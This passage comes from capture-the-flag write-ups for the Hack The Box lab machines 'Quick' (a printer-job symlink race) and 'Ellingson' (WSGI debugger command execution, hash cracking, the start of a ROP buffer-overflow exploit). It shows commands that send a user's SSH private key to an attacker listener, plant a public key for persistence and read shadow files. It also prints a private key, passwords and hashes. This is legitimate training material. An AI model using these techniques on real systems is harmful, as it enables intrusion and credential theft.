The service should now be accessible:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnVxIlCm9xmBlT21l%2Fimage.png?alt=media\&token=85c4cf09-70c0-4e45-a6dd-c3b54b859151)

```bash
$ curl -I http://printerv2.quick.htb:9001                                  

  HTTP/1.1 200 OK
  Date: Fri, 02 Apr 2021 17:02:58 GMT
  Server: Apache/2.4.29 (Ubuntu)
  Content-Type: text/html; charset=UTF-8
```

### 5.4 The Printer Service

#### 5.4.1 Figuring out the login credentials

Based on `/var/www/printer/db.php`, it's' using the same database as the ticketing service.

```
sam@quick:~$ cat /var/www/printer/db.php
```

```php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
```

However, based on `/var/www/printer/index.php`, the credentials used should be the account of `srvadm@quick.htb`:

```php
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
        $email=$_POST["email"];
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $stmt->bind_param("ss",$email,$password);
        $stmt->execute();
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;
        if($num_rows > 0 && $email === "srvadm@quick.htb")
        {
                session_start();
                $_SESSION["loggedin"]=$email;
                header("location: home.php");
        }
        else
        {
                echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';
        }
}
else
{?>
[...html...]
<?php } ?>
```

The cracked password from earlier should work for the login page and it should bring you to:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnZRU2WloGh3FTOEw%2Fimage.png?alt=media\&token=0162f04a-a364-45b7-9145-9166c744d9e5)

#### 5.4.2 Creating print jobs

First a printer needs to be added to the service. This could be connected to your local machine:

Then to test if the service could connect to "your printer":

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnaMHVd5Sazg24mx0%2Fimage.png?alt=media\&token=2a7c2b9d-4652-4496-9592-b723abb05926)

```
$ curl -d 'job=print&title=jebidiah' -G -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' http://printerv2.quick.htb:9001/printers.php
```

With that setup, you can now create print jobs using the following command:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcndjjzhW6KxOXR9W4%2Fimage.png?alt=media\&token=c92f5375-3bb0-47fd-8399-0bcae1d348f6)

```bash
$ printed_text='Something that will be sent to the printer'
$ curl -X POST -d "title=jebidiah&desc=$printed_text&submit=" -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' http://printerv2.quick.htb:9001/job.php
```

#### 5.4.3 Exploiting the Printer Jobs

```php
<?php
require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
include("db.php");
session_start();

if($_SESSION["loggedin"])
{
    if(isset($_POST["submit"]))
    {
        $title=$_POST["title"];
        $file = date("Y-m-d_H:i:s");
        file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
        chmod("/var/www/printer/jobs/".$file,"0777");
        $stmt=$conn->prepare("select ip,port from jobs");
        $stmt->execute();
        $result=$stmt->get_result();
        if($result->num_rows > 0)
        {
            $row=$result->fetch_assoc();
            $ip=$row["ip"];
            $port=$row["port"];
            try
            {
                $connector = new NetworkPrintConnector($ip,$port);
                sleep(0.5); //Buffer for socket check
                $printer = new Printer($connector);
                $printer -> text(file_get_contents("/var/www/jobs/".$file));
                $printer -> cut();
                $printer -> close();
                $message="Job assigned";
                unlink("/var/www/jobs/".$file);
            }
            catch(Exception $error) 
            {
                $error="Can't connect to printer.";
                unlink("/var/www/jobs/".$file);
            }
        }
        else
        {
            $error="Couldn't find printer.";
        }
    }
?>
[...html...]
<?php } 
else
{
    echo '<script>alert("Invalid Username/Password");window.location.href="index.php";</script>';
}?>
```

```bash
sam@quick:~$ while [ -z $(ls -tr /var/www/jobs) ]; do : ; done; job=$(ls -tr /var/www/jobs | head -n1); rm -f "/var/www/jobs/${job}"; ln -s /home/srvadm/.ssh/authorized_keys /var/www/jobs/${job}
```

The bash script executed above will wait for a new print job to be created and then leveraging the 0.5 seconds sleep time of the job execution by deleting and replacing the file with a similar filename but symbolically linked to a file of your choice; in this case -- `/home/srvadm/.ssh/authorized_keys`

```bash
$ curl -X POST -d "title=jebidiah&desc=$printed_text&submit=" -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' --silent http://printerv2.quick.htb:9001/job.php >/dev/null
```

After starting a listener on port 9100 using netcat, the job will be triggered by the command above.

```bash
$ nc -k -nlvp 9100

  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.186] 55768
  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC61KWlksWhB9tpFPs7ys/wuyMTzhAk95ZAmOLowXRL9EYJ3g8A/VRYPboIBoPLgnsHZ/kz+jlcRghl5H4opKH6YP/8U7L47eyohfftqcWqq+ElDoPUvZY6yRajJnMapvyv3iA31NdbxNGXPuEyqraN9YGAabdhXMwphJixaLp1VhOVUZgMs1v/zxqBRAZHxwA1GKz/ZyRYr4aLJOjmmBlpydI3/rWnUK2/QgL/MI4jmn0Iqd3CE69uaPM2+H9vR5dthD9GnmvIu5IktnVo+u0r4sKeqMorSHAfyAqR1mT93c5+riKFGJCVqTA+WwfLZqbU76yaDTbXgczJBB2fuUT1 srvadm@quick
  VA
```

Looking back to the listener, the contents of the `authorized_keys` file has now been sent to the "printer" meaning the **arbitrary file read** of files owned or readable by **`sysadm`** succeeded.

#### 5.4.4 Reading files with `sysadm`

Now to see if there is also a private key stored in the same directory using the same process above:

```bash
sam@quick:~$ while [ -z $(ls -tr /var/www/jobs) ]; do : ; done; job=$(ls -tr /var/www/jobs | head -n1); rm -f "/var/www/jobs/${job}"; ln -s /home/srvadm/.ssh/id_rsa /var/www/jobs/${job}
```

```bash
$ curl -X POST -d "title=jebidiah&desc=$printed_text&submit=" -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' --silent http://printerv2.quick.htb:9001/job.php >/dev/null
```

```bash
$ nc -lvp 9100

  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.186] 55756
  -----BEGIN RSA PRIVATE KEY-----
  MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
  AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D
  1L2WOskWoyZzGqb8r94gN9TXW8TRlz7hMqq2jfWBgGm3YVzMKYSYsWi6dVYTlVGY
  DLNb/88agUQGR8cANRis/2ckWK+GiyTo5pgZacnSN/61p1Ctv0IC/zCOI5p9CKnd
  whOvbmjzNvh/b0eXbYQ/Rp5ryLuSJLZ1aPrtK+LCnqjKK0hwH8gKkdZk/d3Ofq4i
  hRiQlakwPlsHy2am1O+smg0214HMyQQdn7lE9QIDAQABAoIBAG2zSKQkvxgjdeiI
  ok/kcR5ns1wApagfHEFHxAxo8vFaN/m5QlQRa4H4lI/7y00mizi5CzFC3oVYtbum
  Y5FXwagzZntxZegWQ9xb9Uy+X8sr6yIIGM5El75iroETpYhjvoFBSuedeOpwcaR+
  DlritBg8rFKLQFrR0ysZqVKaLMmRxPutqvhd1vOZDO4R/8ZMKggFnPC03AkgXkp3
  j8+ktSPW6THykwGnHXY/vkMAS2H3dBhmecA/Ks6V8h5htvybhDLuUMd++K6Fqo/B
  H14kq+y0Vfjs37vcNR5G7E+7hNw3zv5N8uchP23TZn2MynsujZ3TwbwOV5pw/CxO
  9nb7BSECgYEA5hMD4QRo35OwM/LCu5XCJjGardhHn83OIPUEmVePJ1SGCam6oxvc
  bAA5n83ERMXpDmE4I7y3CNrd9DS/uUae9q4CN/5gjEcc9Z1E81U64v7+H8VK3rue
  F6PinFsdov50tWJbxSYr0dIktSuUUPZrR+in5SOzP77kxZL4QtRE710CgYEAz+It
  T/TMzWbl+9uLAyanQObr5gD1UmG5fdYcutTB+8JOXGKFDIyY+oVMwoU1jzk7KUtw
  8MzyuG8D1icVysRXHU8btn5t1l51RXu0HsBmJ9LaySWFRbNt9bc7FErajJr8Dakj
  b4gu9IKHcGchN2akH3KZ6lz/ayIAxFtadrTMinkCgYEAxpZzKq6btx/LX4uS+kdx
  pXX7hULBz/XcjiXvKkyhi9kxOPX/2voZcD9hfcYmOxZ466iOxIoHkuUX38oIEuwa
  GeJol9xBidN386kj8sUGZxiiUNoCne5jrxQObddX5XCtXELh43HnMNyqQpazFo8c
  Wp0/DlGaTtN+s+r/zu9Z8SECgYEAtfvuZvyK/ZWC6AS9oTiJWovNH0DfggsC82Ip
  LHVsjBUBvGaSyvWaRlXDaNZsmMElRXVBncwM/+BPn33/2c4f5QyH2i67wNpYF0e/
  2tvbkilIVqZ+ERKOxHhvQ8hzontbBCp5Vv4E/Q/3uTLPJUy5iL4ud7iJ8SOHQF4o
  x5pnJSECgYEA4gk6oVOHMVtxrXh3ASZyQIn6VKO+cIXHj72RAsFAD/98intvVsA3
  +DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u
  NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
  -----END RSA PRIVATE KEY-----
  VA
```

Luckily, there is also a private key stored in the `.ssh` directory.

### 5.5 SSH with `sysadm`

## PART 6 : PRIVILEGE ESCALATION

```bash
srvadm@quick:~/.cache/conf.d$ cat printers.conf
```

```markup
  # Printer configuration file for CUPS v2.3.0
  # Written by cupsd on 2020-02-18 17:11
  # DO NOT EDIT THIS FILE WHEN CUPSD IS RUNNING
  NextPrinterId 5
  [...omitted...]
  <Printer OLD_Aviatar>
  PrinterId 2
  UUID urn:uuid:0929509f-7173-3afd-6be2-4da0a43ccefe
  Info 8595
  Location Aviatar
  MakeModel KONICA MINOLTA C554SeriesPS(P)
  DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
  State Idle
  StateTime 1549274624
  ConfigTime 1549274625
  Type 8401100
  Accepting Yes
  Shared Yes
  JobSheets none none
  QuotaPeriod 0
  PageLimit 0
  KLimit 0
  OpPolicy default
  ErrorPolicy stop-printer
  Option job-cancel-after 10800
  Option media 1
  Option output-bin 0
  Option print-color-mode color
  Option print-quality 5
  </Printer>
  [...omitted...]
```

```bash
srvadm@quick:~/.cache/conf.d$ su -

  Password: &ftQ4K3SGde8?

root@quick:~# cat /root/root.txt

  8289e54cd2bd1b9db9fc54447fea0db2
```

## PART 7 : REFERENCES

* <https://www.google.com/search?client=firefox-b-d&q=quic+udp+port>
* <https://github.com/curl/curl/blob/master/docs/HTTP3.md>
* <https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/>


# HTB Ellingson

10.10.10.139 | 40 pts

## PART 1 : INITIAL RECON

### 1.1 NMAP SCAN

```bash
$ nmap --min-rate 15000 -p- -v 10.10.10.139

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http

$ nmap -p 22,80 -sC -sV -T4 10.10.10.139

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
  |   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
  |_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
  80/tcp open  http    nginx 1.14.0 (Ubuntu)
  |_http-server-header: nginx/1.14.0 (Ubuntu)
  | http-title: Ellingson Mineral Corp
  |_Requested resource was http://10.10.10.139/index
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## PART 2 : PORT ENUMERATION

### 2.1 TCP PORT 80

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MffhlxjchF2r7UKu6nq%2F-MfhGq2-yeDA68XHowWa%2Fimage.png?alt=media\&token=44c48d54-498a-495f-ab76-172887370317)

The landing page leads to a website for Ellingson Mineral Corp which includes three articles and the faces behind the Company (Hal, Margo, Eugene, and Duke). This is clearly a reference to the 1995 film, [Hackers](https://en.wikipedia.org/wiki/Hackers_\(film\)).

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MffhlxjchF2r7UKu6nq%2F-MfhGwf4lHox28r18D85%2Fimage.png?alt=media\&token=d9e810d2-fc5b-46a4-80d9-d28b79eeee9b)

One of the articles posted is entitled "Suspicious Network activity" where it writes:

> We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague

The articles are accessed throught the **`/articles`** directory then followed by an **id** or **index** (e.g. **`/articles/3`**).

## PART 3 : EXPLOITATION

### 3.1 WSGI DEBUGGER

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MffhlxjchF2r7UKu6nq%2F-MfhHKMMSGYEheqYvfL8%2Fimage.png?alt=media\&token=d31045f2-0524-4226-b68c-10a47988e69a)

Attempting to load a non-existent article using an ***index*** that is too large or too small redirects the user to a WSGI error page. WSGI (Web Server Gateway Interface) serves as a middleware that handles requests between the web server and the web application.

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MffhlxjchF2r7UKu6nq%2F-MfhHMZ4t5d2oagAhZsO%2Fimage.png?alt=media\&token=b32d6e83-5a6e-4d35-90f1-1facadfc76e4)

The error page can also serve as an interactive debugger which you can leverage for command execution. Maybe this could be used to gain a reverse shell or plant an ***RSA public key*** to gain persistent access over ***ssh***.

## PART 4 : GENERATE USER SHELL (hal)

### 4.1 Web Shell as hal

Using the command execution over the WSGI debugger:

```python
>>> cmd = "cat /etc/passwd | egrep -e *sh$"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")

  root:x:0:0:root:/root:/bin/bash
  theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash
  hal:x:1001:1001:,,,:/home/hal:/bin/bash
  margo:x:1002:1002:,,,:/home/margo:/bin/bash
  duke:x:1003:1003:,,,:/home/duke:/bin/bash

>>> cmd = "ls -lah /home/hal"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")

  total 36K
  drwxrwx--- 5 hal  hal  4.0K May  7 13:12 .
  drwxr-xr-x 6 root root 4.0K Mar  9  2019 ..
  -rw-r--r-- 1 hal  hal   220 Mar  9  2019 .bash_logout
  -rw-r--r-- 1 hal  hal  3.7K Mar  9  2019 .bashrc
  drwx------ 2 hal  hal  4.0K Mar 10  2019 .cache
  drwx------ 3 hal  hal  4.0K Mar 10  2019 .gnupg
  -rw-r--r-- 1 hal  hal   807 Mar  9  2019 .profile
  drwx------ 2 hal  hal  4.0K Mar  9  2019 .ssh
  -rw------- 1 hal  hal   865 Mar  9  2019 .viminfo

>>> cmd = "echo -e '\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDf5LWxsMSacl9zZMA02V7umX21MZ/eIhYCS+iwa9coGiOEWsHO8h2iuDTrOPlg4HSlYx7pgkBe0oPHyorSLYXWHiXQyYqgcS60f1KTmd18hdo15YVReSgk4ZUM7t4j8rj/QqLiypb0cRJMGClWotbNr8UzaYvytl1X0t6z0LVAvC0VHNVqBi/FPjYVrn184ddP0uh1BKDPp2kPvE4Xlnm6D7jUXr72q/kEhB5EbnNNRBi6Dy1gMPQQQTUh1pI4M3yIbAyWvNS6SvLhIOqh76v7cQPI+aX557I+epxxT2B+RsQYW4TjA4fvvAQyktlL39dXzdDn2AXiVyVHDEL68uoMxwbRaz2aGhq0R0l7KZoHqd4sDda8U8vSPTEyofjPDXRUQWYBDsfpn1JHm+bvjXhCli2Mjgwc+Ep0jwSB8oJCiP5l7fi90VmbqKKYKQxLE1oEGBCHfZnNvl6oMnp8nzwUJDtO22yutNggIHeHh8SkVcrdlApospeKIRFTlAOrvyE= root@kali' >> /home/hal/.ssh/authorized_keys"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
```

### 4.2 SSH as hal

Now that a public key has been added to ***.ssh/authorized\_keys***, attempt to login via ssh using an identity file:

```
$ ssh -i id_rsa -l hal 10.10.10.139

hal@ellingson:~$  id

  uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
```

The user, **`hal`**, is also part of the **`4(adm)`** group.

## PART 5 : hal -> margo

### 5.1 shadow\.bak

While inside **`hal`**'s shell:

```bash
hal@ellingson:~$  find /var -gid 4 2>/dev/null

  /var/backups/shadow.bak
  ...omitted...

hal@ellingson:~$  cat /var/backups/shadow.bak

  root:*:17737:0:99999:7:::
  ...omitted...
  theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
  hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
  margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
  duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
```

The **`adm`** group has read permissions for the **`shadow.bak`** file stored in **`/var/backups`**. It contains password hashes for all the members of the ***Ellingson*** team.

In the movie referenced by the box, Margo Wallace failed to change her password according to a schedule and her password coincidentally was "GOD" which according to Plague was one of the most commonly used passwords (along with Love, Sex, and Secret) which resulted in their system to be compromised.

Cracking Margo's password hash is probably the next step forward:

```bash
$ echo \$6\$Lv8rcvK8\$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1 > margo_hash

$ cat /usr/share/wordlists/rockyou.txt | egrep -ie "^.*g[o0]d.*$" > wordlist_god

$ john --wordlist=wordlist_god margo_hash

  iamgod$08        (?)
```

Since ***SHA512 crypt*** hashes takes a while to crack, limiting the size of the wordlist is recommended. Also, since there is a context on what Margo's password might be, I created a subset of **rockyou.txt** to only include passwords that contains variations of the string **god**. The cracked password serves as both UNIX and SSH credentials for the user, **`margo`**.

### 5.2 su as margo

```bash
hal@ellingson:~$  su margo
Password: iamgod$08

margo@ellingson:/home/hal$  id

  uid=1002(margo) gid=1002(margo) groups=1002(margo)

margo@ellingson:/home/hal$  cd ~

margo@ellingson:~$  ls -lah

  total 52K
  drwxrwx--- 6 margo margo 4.0K Mar 10  2019 .
  drwxr-xr-x 6 root  root  4.0K Mar  9  2019 ..
  -rw-r--r-- 1 margo margo  220 Mar  9  2019 .bash_logout
  -rw-r--r-- 1 margo margo 3.7K Mar  9  2019 .bashrc
  drwx------ 2 margo margo 4.0K Mar 10  2019 .cache
  drwx------ 3 margo margo 4.0K Mar 10  2019 .gnupg
  drwxrwxr-x 3 margo margo 4.0K Mar 10  2019 .local
  -rw-r--r-- 1 margo margo  807 Mar  9  2019 .profile
  drwx------ 2 margo margo 4.0K Mar  9  2019 .ssh
  -r-------- 1 margo margo   33 Mar 10  2019 user.txt
  -rw------- 1 margo margo 9.4K Mar 10  2019 .viminfo

margo@ellingson:~$  cat user.txt

  d0ff........................5903
```

## PART 6 : PRIVILEGE ESCALATION (margo -> root)

### 6.1 SUID Binaries

```bash
margo@ellingson:~$  find /bin /usr/bin -uid 0 -perm -4000 -type f 2>/dev/null

  ...omitted...
  /usr/bin/garbage
  ...omitted...
```

Attempting to run the binary as another user (aside from margo) would return the following message:

```bash
hal@ellingson:~$  /usr/bin/garbage

  User is not authorized to access this application. This attempt has been logged.
```

Otherwise:

```bash
margo@ellingson:~$  /usr/bin/garbage

  Enter access password: iamgodod$08

  access denied.
```

### 6.2 ltrace

Check the program flow (i.e. syscalls, function arguments, signals) using **`ltrace`**. The password comparison might just be done using **`strcmp()`**.

```bash
margo@ellingson:~$  ltrace /usr/bin/garbage

  getuid()                                                        = 1002
  syslog(6, "user: %lu cleared to access this"..., 1002)          = <void>
  getpwuid(1002, 0x7a0030, 0x7a0010, 1)                           = 0x7f1052bf2f20
  strcpy(0x7ffe34be6a44, "margo")                                 = 0x7ffe34be6a44
  printf("Enter access password: ")                               = 23
  gets(0x7ffe34be69e0, 0x7a1b90, 0, 0Enter access password: 
  )                            = 0x7ffe34be69e0
  putchar(10, 0x7a1fa0, 0x7f1052bf28d0, 0x7f1052915081
  )           = 10
  strcmp("", "N3veRF3@r1iSh3r3!")                                 = -78
  puts("access denied."access denied.
  )                                          = 15
  exit(-1 <no return ...>
  +++ exited (status 255) +++
```

Aaaaaand the password checking is indeed done by using **`strcmp("", "N3veRF3@r1iSh3r3!")`**.

```bash
margo@ellingson:~$  /usr/bin/garbage

  Enter access password: N3veRF3@r1iSh3r3!

  access granted.
  [+] W0rM || Control Application
  [+] ---------------------------
  Select Option
  1: Check Balance
  2: Launch
  3: Cancel
  4: Exit
  > 1
  Balance is $1337
  > 2
  Row Row Row Your Boat...
  > 3
  The tankers have stopped capsizing
  > 4
```

Trying to access the **`garbage`** binary again with the right password leads to a control panel and all options just outputs a string and are not interactive. If this were a buffer overflow vulnerability, then the only attack vectors left are the **password input** and the **option selection input**.

Now, it's time to save the binary locally and attempt to create an exploit:

```bash
$ scp margo@10.10.10.139:/usr/bin/garbage ./garbage
$ margo@10.10.10.139's password: iamgod$08

  garbage                                                                100%

$ file ./garbage

  ./garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

$ gdb --nh -q ./garbage

(gdb) checksec

  Canary                        : No
  NX                            : Yes
  PIE                           : No
  Fortify                       : No
  RelRO                         : Partial

(gdb) disassemble main

  0x0000000000401619 <+0>:    push   rbp
  0x000000000040161a <+1>:    mov    rbp,rsp
  0x000000000040161d <+4>:    sub    rsp,0x10
  0x0000000000401621 <+8>:    mov    eax,0x0
  0x0000000000401626 <+13>:    call   0x401459 <check_user>
  0x000000000040162b <+18>:    mov    DWORD PTR [rbp-0x4],eax
  0x000000000040162e <+21>:    mov    eax,DWORD PTR [rbp-0x4]
  0x0000000000401631 <+24>:    mov    edi,eax
  0x0000000000401633 <+26>:    call   0x4014d4 <set_username>
  0x0000000000401638 <+31>:    mov    eax,DWORD PTR [rbp-0x4]
  0x000000000040163b <+34>:    mov    edi,eax
  0x000000000040163d <+36>:    call   0x401513 <auth>   
  ...omitted...
  0x00000000004016e7 <+206>:    mov    eax,0x0
  0x00000000004016ec <+211>:    call   0x40133c <checkbalance>
  0x00000000004016f1 <+216>:    jmp    0x40172b <main+274>
  0x00000000004016f3 <+218>:    mov    eax,0x0
  0x00000000004016f8 <+223>:    call   0x401316 <launch>
  0x00000000004016fd <+228>:    jmp    0x40172b <main+274>
  0x00000000004016ff <+230>:    mov    eax,0x0
  0x0000000000401704 <+235>:    call   0x401329 <cancel>
  0x0000000000401709 <+240>:    jmp    0x40172b <main+274>
  0x000000000040170b <+242>:    mov    edi,0x0
  0x0000000000401710 <+247>:    call   0x401160 <exit@plt>
  0x0000000000401715 <+252>:    lea    rdi,[rip+0xaf8]        # 0x402214
  0x000000000040171c <+259>:    call   0x401050 <puts@plt>
  0x0000000000401721 <+264>:    mov    edi,0xffffffff
  0x0000000000401726 <+269>:    call   0x401160 <exit@plt>
  0x000000000040172b <+274>:    jmp    0x40169e <main+133>
  0x0000000000401730 <+279>:    mov    edi,0xffffffff
  0x0000000000401735 <+284>:    call   0x401160 <exit@plt>
```

**`/usr/bin/garbage`** is a 64-bit ELF executable with ASLR (Address Space Layout Randomization) enabled which means that certain modules or libraries (especially the **libc.so** file) are offset randomly every instance generated. Its security features include only NX (non-executable segment) protection and Partial RelRO (Relocation Read-Only).

NX (Non-execute)

> The application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa.

Partial RelRO (Relocation Read-Only)

> The headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched)

### 6.3 Program Flow

| #1 | Checks User ID \[ check\_user() ] | <p>if uid==1002 or uid==0: GO TO #2<br>if uid==1000: exit()</p>                                                                       |
| -- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| #2 | Authentication \[ auth() ]        | <p>if password=="N3veRF3\@r1iSh3r3!": GO TO #3<br>else: exit()</p>                                                                    |
| #3 | Select Option                     | <p>if option==1: checkbalance(); GO TO #3<br>if option==2: launch(); GO TO #3<br>if option==3: cancel(); GO TO #3<br>else: exit()</p> |

### 6.4 **auth()** function

```bash
(gdb) disassemble auth

  ...omitted...
  0x0000000000401558 <+69>:    lea    rax,[rbp-0x80]
  0x000000000040155c <+73>:    mov    rdi,rax
  0x000000000040155f <+76>:    mov    eax,0x0
  0x0000000000401564 <+81>:    call   0x401100 <gets@plt>
  0x0000000000401569 <+86>:    mov    edi,0xa
  0x000000000040156e <+91>:    call   0x401030 <putchar@plt>
  0x0000000000401573 <+96>:    lea    rax,[rbp-0x80]
  0x0000000000401577 <+100>:    lea    rsi,[rip+0xbe1]        # 0x40215f
  0x000000000040157e <+107>:    mov    rdi,rax
  0x0000000000401581 <+110>:    call   0x4010e0 <strcmp@plt>
  0x0000000000401586 <+115>:    test   eax,eax
  0x0000000000401588 <+117>:    jne    0x401606 <auth+243>
  ...omitted...
  0x0000000000401606 <+243>:    lea    rdi,[rip+0xb74]        # 0x402181
  0x000000000040160d <+250>:    call   0x401050 <puts@plt>
  0x0000000000401612 <+255>:    mov    eax,0x0
  0x0000000000401617 <+260>:    leave  
  0x0000000000401618 <+261>:    ret
```

In creating 64-bit ROP chains, the value of the $rdi register can be used to pass a first argument to a function (followed by $rsi, $rdx, $rcx, $r8, then $r9). To summarize the code snippet above, the address **`[rbp-0x80]`** is saved to **`$rax`** which is then moved to **`$rdi`**. **`[rbp-0x80]`** is now the effective address where the function call **`gets@plt`** will save the input from STDIN.

External function calls such as **`gets@plt`** are using dynamic linkers (e.g. **ld.so**) to resolve the address of **`libc`** functions during run-time and are saved to the GOT (Global Offset Table). The **GOT** serves as a reference for all external function calls or anything that is referenced to a shared library then the PLT (Procedure Linkage Table) serves as a means for the compiled executable to access such functions.

Since there is an address space that is writable (using **`gets@plt`**) and there is an easy way to view stored values (using **`puts@plt`**), it could be used to leak addresses from the libc.so file required by the executable to gain total control over the binary in order to gain command execution.

### 6.5 Finding the right offset

```python
payload = ""
payload += "A" * int("0x80", 16)    # OFFSET
payload += "B" * 8            # BASE POINTER
payload += "C" * 8                      # RETURN ADDRESS PLACEHOLDER
```

```bash
(gdb) break * 0x0000000000401569  # function call after gets@plt

  Breakpoint 1 at 0x401569

(gdb) break * 0x0000000000401618  # auth() function's return call

  Breakpoint 1 at 0x401618

(gdb) run <<< $(python -c 'print "A"*int("0x80",16) + "B"*8 + "C"*8')

(gdb) x/18xg $rbp-0x80

  0x7ffddfc8e0b0: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e0c0: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e0d0: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e0e0: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e0f0: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e100: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e110: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e120: 0x4141414141414141    0x4141414141414141
  0x7ffddfc8e130: 0x4242424242424242    0x4343434343434343

(gdb) c

(gdb) x/xg $rsp

  0x7ffd9762c1f8: 0x4343434343434343
```

The address space where the user inputs a password for authentication is stored in **`[rbp-0x80]`**. Since the return address is, in this case, 8 bytes away from the base pointer, writing 8 bytes beyond **`[rbp-0x80]`** would overwrite the value of **`$rbp`** and another 8 bytes would overwrite the return address.

The **`return`** call of the **`auth()`** function is now overwritten to be **`CCCCCCCC`** or **`4343434343434343`**

### 6.6 Leaking libc addresses

```bash
$ ropper --file ./garbage --search "% ?di"

  ...omitted...
  0x000000000040179b: pop rdi; ret;
```

```bash
(gdb) info functions

  ...omitted...
  0x0000000000401050  puts@plt
  ...omitted...
  0x0000000000401100  gets@plt
  ...omitted...
  0x0000000000401619  main
  ...omitted...

